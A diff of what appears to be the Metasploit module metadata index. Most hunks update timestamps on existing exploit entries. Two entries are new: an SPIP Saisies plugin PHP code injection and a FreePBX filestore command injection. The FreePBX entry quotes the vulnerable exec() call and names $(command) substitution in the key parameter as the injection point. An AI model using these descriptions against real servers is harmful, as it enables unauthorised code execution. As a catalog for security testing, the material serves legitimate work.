"multi/http/cacti_graph_template_rce", @@ -111061,7 +111230,7 @@ "Linux Universal", "Java Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-02-15 20:36:35 +0000", "path": "/modules/exploits/multi/http/jboss_maindeployer.rb", "is_install_path": true, "ref_name": "multi/http/jboss_maindeployer", @@ -112106,7 +112275,7 @@ "Windows", "Linux" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/log4shell_header_injection.rb", "is_install_path": true, "ref_name": "multi/http/log4shell_header_injection", @@ -113759,7 +113928,7 @@ "Unix/Linux Command Shell", "Windows Command Shell" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/monsta_ftp_downloadfile_rce.rb", "is_install_path": true, "ref_name": "multi/http/monsta_ftp_downloadfile_rce", @@ -114186,7 +114355,7 @@ "Unix CMD", "Linux Payload" ], - "mod_time": "2026-02-26 17:17:19 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/mutiny_subnetmask_exec.rb", "is_install_path": true, "ref_name": "multi/http/mutiny_subnetmask_exec", @@ -115516,7 +115685,7 @@ "Linux/Unix (Interactive Shell)", "Windows (Interactive Shell)" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-02-15 20:36:35 +0000", "path": "/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb", "is_install_path": true, "ref_name": "multi/http/oracle_ebs_cve_2025_61882_exploit_rce", @@ -118004,7 +118173,7 @@ "targets": [ "Ruby on Rails 4.0.8 July 2, 2014" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb", "is_install_path": true, "ref_name": "multi/http/rails_dynamic_render_code_exec", @@ -119028,7 +119197,7 @@ "WHD 12.7.* on Windows (Command payload)", "WHD 12.7.* on Linux (Command payload)" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb", "is_install_path": true, "ref_name": "multi/http/solarwinds_webhelpdesk_rce", @@ -119563,6 +119732,67 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/http/spip_saisies_rce": { + "name": "SPIP Saisies Plugin Unauthenticated RCE", + "fullname": "exploit/multi/http/spip_saisies_rce", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-02-19", + "type": "exploit", + "author": [ + "OpenStudio", + "Valentin Lobstein " + ], + "description": "This module exploits an unauthenticated PHP code injection in the SPIP\n Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is\n interpolated unsanitized into a hidden field rendered with\n interdire_scripts=false, allowing direct PHP code execution via template\n eval.\n\n Exploitation requires a publicly accessible page containing a\n saisies-powered form, most commonly created with the Formidable plugin.\n Use the FORM_PAGE option to specify a known form page, or set it to\n 'crawl' to automatically discover one by following internal links from\n the SPIP sitemap.\n\n Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.", + "references": [ + "CVE-2025-71243", + "URL-https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html", + "URL-https://plugins.spip.net/saisies" + ], + "platform": "Linux,PHP,Unix,Windows", + "arch": "php, cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "PHP In-Memory", + "Unix/Linux Command Shell", + "Windows Command Shell" + ], + "mod_time": "2026-03-05 14:13:05 +0000", + "path": "/modules/exploits/multi/http/spip_saisies_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/spip_saisies_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/splunk_auth_rce_cve_2022_43571": { "name": "Authenticated RCE in Splunk (SimpleXML dashboard PDF generation)", "fullname": "exploit/multi/http/splunk_auth_rce_cve_2022_43571", @@ -120417,7 +120647,7 @@ "Windows Universal", "Linux Universal" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/struts_code_exec.rb", "is_install_path": true, "ref_name": "multi/http/struts_code_exec", @@ -120549,7 +120779,7 @@ "Linux Universal", "Java Universal" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", "is_install_path": true, "ref_name": "multi/http/struts_code_exec_exception_delegator", @@ -120676,7 +120906,7 @@ "Windows", "Linux" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/struts_default_action_mapper.rb", "is_install_path": true, "ref_name": "multi/http/struts_default_action_mapper", @@ -121853,7 +122083,7 @@ "Total.js CMS on Linux", "Total.js CMS on Mac" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/totaljs_cms_widget_exec.rb", "is_install_path": true, "ref_name": "multi/http/totaljs_cms_widget_exec", @@ -121972,7 +122202,7 @@ "targets": [ "Trend Micro Threat Discovery Appliance 2.6.1062r1" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb", "is_install_path": true, "ref_name": "multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi", @@ -123567,7 +123797,7 @@ "targets": [ "PHP" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/wondercms_rce.rb", "is_install_path": true, "ref_name": "multi/http/wondercms_rce", @@ -124986,7 +125216,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/http/wp_popular_posts_rce.rb", "is_install_path": true, "ref_name": "multi/http/wp_popular_posts_rce", @@ -126313,7 +126543,7 @@ "targets": [ "Linux" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb", "is_install_path": true, "ref_name": "multi/iiop/cve_2023_21839_weblogic_rce", @@ -127176,7 +127406,7 @@ "targets": [ "Default" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-02-15 20:36:50 +0000", "path": "/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb", "is_install_path": true, "ref_name": "multi/misc/cups_ipp_remote_code_execution", @@ -127421,7 +127651,7 @@ "Linux (Command)", "AIX (Command)" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb", "is_install_path": true, "ref_name": "multi/misc/ibm_tm1_unauth_rce", @@ -130309,7 +130539,7 @@ "Linux", "Windows Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb", "is_install_path": true, "ref_name": "multi/sap/sap_mgmt_con_osexec_payload", @@ -131354,7 +131584,7 @@ "Safari 5.1 on OS X", "Safari 5.1 on OS X with Java" ], - "mod_time": "2026-02-26 17:17:19 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/osx/browser/safari_file_policy.rb", "is_install_path": true, "ref_name": "osx/browser/safari_file_policy", @@ -135029,6 +135259,66 @@ "session_types": false, "needs_cleanup": null }, + "exploit_unix/http/freepbx_filestore_cmd_injection": { + "name": "FreePBX filestore authenticated command injection", + "fullname": "exploit/unix/http/freepbx_filestore_cmd_injection", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-11-08", + "type": "exploit", + "author": [ + "Cory Billington", + "Valentin Lobstein " + ], + "description": "This module exploits an authenticated command injection vulnerability (CVE-2025-64328) in the\n FreePBX filestore module. The filestore module allows administrators to configure remote file\n storage backends (SSH, FTP, etc.) for backup and file management purposes.\n\n The vulnerability exists in the SSH driver's testconnection functionality, specifically in the\n check_ssh_connect() function located at /admin/modules/filestore/drivers/SSH/testconnection.php.\n The function accepts user-controlled input for the SSH key path parameter, which is then passed\n unsanitized to exec() calls when generating SSH keys.\n\n The vulnerable code executes commands such as:\n exec(\"ssh-keygen -t ecdsa -b 521 -f $key -N \\\"\\\" && chown asterisk:asterisk $key && chmod 600 $key\");\n\n By injecting shell command substitution syntax (e.g., $(command)) into the key parameter, an\n authenticated user can execute arbitrary commands on the underlying system with the privileges of\n the web server process (typically the asterisk user).\n\n This vulnerability affects filestore module versions 17.0.2.36 through 17.0.2.44 (introduced in\n 17.0.2.36, patched in 17.0.3). The module requires valid FreePBX credentials for a user account that\n has access to the filestore module. The user must be in the \"Filestore\" group (administrator or\n low-privilege user).\n\n Note: Due to the vulnerable code structure, the injected command may be executed multiple times,\n potentially resulting in multiple Meterpreter sessions.", + "references": [ + "CVE-2025-64328", + "GHSA-vm9p-46mv-5xvw", + "URL-https://theyhack.me/CVE-2025-64328-FreePBX-Authenticated-Command-Injection/" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command" + ], + "mod_time": "2026-03-11 20:09:52 +0000", + "path": "/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb", + "is_install_path": true, + "ref_name": "unix/http/freepbx_filestore_cmd_injection", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_unix/http/freepbx_firmware_file_upload": { "name": "FreePBX firmware file upload", "fullname": "exploit/unix/http/freepbx_firmware_file_upload", @@ -135711,7 +136001,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/unix/http/pihole_blocklist_exec.rb", "is_install_path": true, "ref_name": "unix/http/pihole_blocklist_exec", @@ -136347,7 +136637,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/unix/http/xdebug_unauth_exec.rb", "is_install_path": true, "ref_name": "unix/http/xdebug_unauth_exec", @@ -136699,7 +136989,7 @@ "targets": [ "OpenSMTPD < 6.6.4 (automatic grammar selection)" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb", "is_install_path": true, "ref_name": "unix/local/opensmtpd_oob_read_lpe", @@ -139617,7 +139907,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/google_proxystylesheet_exec", @@ -147213,7 +147503,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/antivirus/ams_xfr.rb", "is_install_path": true, "ref_name": "windows/antivirus/ams_xfr", @@ -149328,7 +149618,7 @@ "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3 / Vista" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/adobe_flash_sps.rb", "is_install_path": true, "ref_name": "windows/browser/adobe_flash_sps", @@ -149474,7 +149764,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb", "is_install_path": true, "ref_name": "windows/browser/adobe_flashplayer_arrayindexing", @@ -150248,7 +150538,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/aol_icq_downloadagent.rb", "is_install_path": true, "ref_name": "windows/browser/aol_icq_downloadagent", @@ -150390,7 +150680,7 @@ "Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2", "Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/apple_quicktime_mime_type.rb", "is_install_path": true, "ref_name": "windows/browser/apple_quicktime_mime_type", @@ -150491,7 +150781,7 @@ "Apple QuickTime Player 7.1.3", "Browser Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/apple_quicktime_rtsp.rb", "is_install_path": true, "ref_name": "windows/browser/apple_quicktime_rtsp", @@ -150539,7 +150829,7 @@ "targets": [ "Apple QuickTime Player 7.6.6" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb", "is_install_path": true, "ref_name": "windows/browser/apple_quicktime_smil_debug", @@ -150589,7 +150879,7 @@ "Firefox 3.5 on Windows XP SP3", "Firefox 3.5.1 on Windows XP SP3" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb", "is_install_path": true, "ref_name": "windows/browser/apple_quicktime_texml_font_table", @@ -150909,7 +151199,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb", "is_install_path": true, "ref_name": "windows/browser/awingsoft_winds3d_sceneurl", @@ -151050,7 +151340,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb", "is_install_path": true, "ref_name": "windows/browser/blackice_downloadimagefileurl", @@ -151096,7 +151386,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb", "is_install_path": true, "ref_name": "windows/browser/c6_messenger_downloaderactivex", @@ -151428,7 +151718,7 @@ "targets": [ "Cisco WebEx Extension 1.0.1" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/cisco_webex_ext.rb", "is_install_path": true, "ref_name": "windows/browser/cisco_webex_ext", @@ -151766,7 +152056,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/dxstudio_player_exec.rb", "is_install_path": true, "ref_name": "windows/browser/dxstudio_player_exec", @@ -151900,7 +152190,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/enjoysapgui_comp_download.rb", "is_install_path": true, "ref_name": "windows/browser/enjoysapgui_comp_download", @@ -152134,7 +152424,7 @@ "Automatic", "Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb", "is_install_path": true, "ref_name": "windows/browser/foxit_reader_plugin_url_bof", @@ -152323,7 +152613,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb", "is_install_path": true, "ref_name": "windows/browser/honeywell_hscremotedeploy_exec", @@ -153879,7 +154169,7 @@ "Automatic", "Java Runtime on Windows x86" ], - "mod_time": "2026-03-02 11:11:59 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_arginject_altjvm", @@ -153927,7 +154217,7 @@ "Automatic", "Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/java_ws_double_quote.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_double_quote", @@ -153975,7 +154265,7 @@ "Automatic", "Java Runtime on Windows x86" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/java_ws_vmargs.rb", "is_install_path": true, "ref_name": "windows/browser/java_ws_vmargs", @@ -154115,7 +154405,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb", "is_install_path": true, "ref_name": "windows/browser/keyhelp_launchtripane_exec", @@ -154296,7 +154586,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/macrovision_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/macrovision_unsafe", @@ -155425,7 +155715,7 @@ "Firefox on Windows XP (English)", "Firefox on Windows 2003 (English)" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb", "is_install_path": true, "ref_name": "windows/browser/ms07_017_ani_loadimage_chunksize", @@ -155471,7 +155761,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb", "is_install_path": true, "ref_name": "windows/browser/ms08_041_snapshotviewer", @@ -156057,7 +156347,7 @@ "Automatic", "Internet Explorer on Windows" ], - "mod_time": "2026-03-02 11:11:59 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_022_ie_vbscript_winhlp32", @@ -156154,7 +156444,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_042_helpctr_xss_cmd_exec", @@ -156201,7 +156491,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-03-02 11:11:59 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb", "is_install_path": true, "ref_name": "windows/browser/ms10_046_shortcut_icon_dllloader", @@ -157213,7 +157503,7 @@ "Automatic", "Windows 10 with IE 11" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ms16_051_vbscript.rb", "is_install_path": true, "ref_name": "windows/browser/ms16_051_vbscript", @@ -157260,7 +157550,7 @@ "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/msvidctl_mpeg2.rb", "is_install_path": true, "ref_name": "windows/browser/msvidctl_mpeg2", @@ -157552,7 +157842,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/notes_handler_cmdinject.rb", "is_install_path": true, "ref_name": "windows/browser/notes_handler_cmdinject", @@ -158365,7 +158655,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/persits_xupload_traversal.rb", "is_install_path": true, "ref_name": "windows/browser/persits_xupload_traversal", @@ -158466,7 +158756,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/real_arcade_installerdlg.rb", "is_install_path": true, "ref_name": "windows/browser/real_arcade_installerdlg", @@ -158793,7 +159083,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/safari_xslt_output.rb", "is_install_path": true, "ref_name": "windows/browser/safari_xslt_output", @@ -158886,7 +159176,7 @@ "targets": [ "Samsung Security Manager 1.32 & 1.4 Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/samsung_security_manager_put.rb", "is_install_path": true, "ref_name": "windows/browser/samsung_security_manager_put", @@ -159119,7 +159409,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_altirisdeployment_downloadandinstall", @@ -159208,7 +159498,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/symantec_appstream_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_appstream_unsafe", @@ -159397,7 +159687,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/systemrequirementslab_unsafe", @@ -159685,7 +159975,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/browser/ubisoft_uplay_cmd_exec", @@ -160022,7 +160312,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/webdav_dll_hijacker.rb", "is_install_path": true, "ref_name": "windows/browser/webdav_dll_hijacker", @@ -160587,7 +160877,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/zenturiprogramchecker_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/zenturiprogramchecker_unsafe", @@ -160635,7 +160925,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb", "is_install_path": true, "ref_name": "windows/browser/zenworks_helplauncher_exec", @@ -160699,7 +160989,7 @@ "targets": [ "Windows" ], - "mod_time": "2026-02-18 17:08:51 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "is_install_path": true, "ref_name": "windows/dcerpc/cve_2021_1675_printnightmare", @@ -161036,7 +161326,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_only.rb", "is_install_path": true, "ref_name": "windows/email/ms10_045_outlook_ref_only", @@ -161093,7 +161383,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/email/ms10_045_outlook_ref_resolve.rb", "is_install_path": true, "ref_name": "windows/email/ms10_045_outlook_ref_resolve", @@ -165938,7 +166228,7 @@ "targets": [ "Internet Explorer" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb", "is_install_path": true, "ref_name": "windows/fileformat/mcafee_showreport_exec", @@ -166809,7 +167099,7 @@ "targets": [ "Microsoft Office Word 2007/2010 on Windows 7" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/ms12_005.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms12_005", @@ -167475,7 +167765,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb", "is_install_path": true, "ref_name": "windows/fileformat/nitro_reader_jsapi", @@ -167794,7 +168084,7 @@ "targets": [ "Microsoft Office Word" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/office_word_hta.rb", "is_install_path": true, "ref_name": "windows/fileformat/office_word_hta", @@ -168731,7 +169021,7 @@ "targets": [ "Windows" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/theme_dll_hijack_cve_2023_38146.rb", "is_install_path": true, "ref_name": "windows/fileformat/theme_dll_hijack_cve_2023_38146", @@ -170231,7 +170521,7 @@ "targets": [ "Microsoft Office Word" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/word_msdtjs_rce.rb", "is_install_path": true, "ref_name": "windows/fileformat/word_msdtjs_rce", @@ -170286,7 +170576,7 @@ "targets": [ "Hosted" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/fileformat/word_mshtml_rce.rb", "is_install_path": true, "ref_name": "windows/fileformat/word_mshtml_rce", @@ -170931,7 +171221,7 @@ "targets": [ "Windows XP Pro SP3 English" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/ayukov_nftp.rb", "is_install_path": true, "ref_name": "windows/ftp/ayukov_nftp", @@ -171561,7 +171851,7 @@ "targets": [ "FreeFloat" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/freefloatftp_wbem.rb", "is_install_path": true, "ref_name": "windows/ftp/freefloatftp_wbem", @@ -171850,7 +172140,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/ftpshell_cli_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/ftpshell_cli_bof", @@ -172192,7 +172482,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/labf_nfsaxe.rb", "is_install_path": true, "ref_name": "windows/ftp/labf_nfsaxe", @@ -172493,7 +172783,7 @@ "targets": [ "Open&Compact FTP 1.2 on Windows (Before Vista)" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/open_ftpd_wbem.rb", "is_install_path": true, "ref_name": "windows/ftp/open_ftpd_wbem", @@ -172799,7 +173089,7 @@ "targets": [ "QuickShare File Server 1.2.1" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/ftp/quickshare_traversal_write.rb", "is_install_path": true, "ref_name": "windows/ftp/quickshare_traversal_write", @@ -173060,7 +173350,7 @@ "targets": [ "Windows XP SP3 / Windows Vista" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": 